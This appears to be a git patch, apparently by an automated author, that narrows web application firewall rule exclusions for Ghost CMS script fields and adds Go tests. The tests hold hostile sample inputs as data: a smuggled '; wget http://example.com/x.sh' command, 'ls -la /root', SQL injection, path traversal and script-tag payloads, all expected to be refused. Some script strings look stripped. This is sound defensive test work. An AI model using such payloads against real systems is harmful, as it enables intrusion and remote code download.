From aaa9719f0278463898b4cdf21388cc361ddeef06 Mon Sep 17 00:00:00 2001
From: clawbot <35+clawbot@noreply.example.org>
Date: Thu, 12 Nov 2026 06:13:59 +0100
Subject: [PATCH] Core Rule Set: Ghost posts and code injection take a script
element (closes #358)
While bodies are read, 941110 refused a `` and `javascript:alert(1)` are still refused in the
-articles and code injection (941110, 941170 and 941210). Path traversal and SQL
-injection are still refused in every field above. Script injection is too,
-outside the articles. `; wget http://example.com/x.sh` is still refused in the
-query fields, the plain text and the addresses.
+A `` is still refused in snippets and newsletters.
+`javascript:alert(1)` is still refused in the articles and code injection
+(941170 and 941210). Path traversal and SQL injection are still refused in every
+field above. Script injection is too, outside the articles and code injection.
+`; wget http://example.com/x.sh` is still refused in the query fields, the plain
+text and the addresses.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name
diff --git a/internal/coreruleset/ghost.conf b/internal/coreruleset/ghost.conf
index 8deb8a1..e4b0acd 100644
--- a/internal/coreruleset/ghost.conf
+++ b/internal/coreruleset/ghost.conf
@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
# snippets..lexical and snippets..mobiledoc, a part of a post saved for
# reuse
# newsletters..footer_content, the footer of a newsletter
-# A
+# These fields take a `
+
+// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
+const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
+ `"html":""}],` +
+ `"direction":null,"format":"","indent":0,"type":"root","version":1}}`
+
+// ghostAnalytics is code injection that loads analytics.
+const ghostAnalytics = ``
+
+func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
+ t.Parallel()
+
+ // An HTML card in a post, as the editor saves it, and as integrations
+ // send it.
+ wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
+
+ for _, f := range ghostPostFields {
+ wantGhostField(t, f, ghostWidget, false)
+ }
+
+ // Site code injection, saved in settings, and a post's or a page's own.
+ for _, f := range ghostCodeFields {
+ wantGhostField(t, f, ghostAnalytics, false)
+ }
+}
+
+// ghostAttacks are an SQL injection and a path traversal, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal, scriptTag}
+var ghostAttacks = []string{injection, pathTraversal}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -358,6 +404,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
+ // A script injection stays refused in every field that does not take a
+ // `, true)
wantGhostField(t, f, `click`, true)
}
+ for _, f := range ghostSnippetAndNewsletterFooterFields {
+ wantGhostField(t, f, `Hi
`, true)
+ }
+
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
@@ -459,6 +520,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
}
}
+func TestGhostScriptExclusionIsNarrow(t *testing.T) {
+ t.Parallel()
+
+ crs := readingBodies(t)
+
+ // A `
+ scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
+ scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
+ )
+
+ for _, refused := range []struct{ target, body string }{
+ {"/ghost/api/content/posts/", scriptInPost},
+ {ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
+ {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
+ {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
+ {"/api/settings/", scriptInSettings},
+ {ghostSettings + "?json.settings.0.value=x", scriptInSettings},
+ } {
+ r := request{http.MethodPut, refused.target, []string{jsonBody}}
+
+ got, _ := inspectBody(t, crs, r, refused.body)
+ if got.Score < ghostThreshold ||
+ !slices.Contains(got.RuleIDs, 941110) {
+ t.Errorf(
+ "PUT %s %s: %+v, want 941110 among them",
+ refused.target,
+ refused.body,
+ got,
+ )
+ }
+ }
+}
+
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()